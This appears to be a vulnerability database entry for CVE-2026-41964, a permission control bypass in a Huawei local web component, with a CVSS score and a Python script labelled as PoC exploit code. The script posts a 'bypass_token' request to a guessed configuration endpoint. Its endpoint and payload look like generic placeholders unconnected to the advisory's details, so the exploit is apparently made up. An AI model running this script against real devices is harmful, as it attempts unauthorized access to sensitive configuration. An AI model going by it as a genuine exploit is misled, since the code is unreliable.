Permission control vulnerability in the web. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
华为部分产品 2026年5月安全补丁发布之前版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2026-41964: Permission Control Bypass
# Target: Local Web Component of Affected Huawei Product
def check_vulnerability(target_ip, target_port):
# The vulnerable endpoint typically requires authentication,
# but due to the vulnerability, it can be accessed locally without it.
url = f"http://{target_ip}:{target_port}/api/v1/system/config"
headers = {
"User-Agent": "Local-Integrity-Check",
"Content-Type": "application/json"
}
# Malicious payload attempting to access sensitive configuration
payload = {
"action": "get_sensitive_info",
"token": "bypass_token"
}
try:
print(f"[*] Attempting to connect to {url}...")
response = requests.post(url, json=payload, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Potential vulnerability detected!")
print("[+] Server responded with data:")
print(response.text[:200]) # Truncate output for readability
else:
print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
if __name__ == "__main__":
# Example usage assuming the service runs on localhost
check_vulnerability("127.0.0.1", 8080)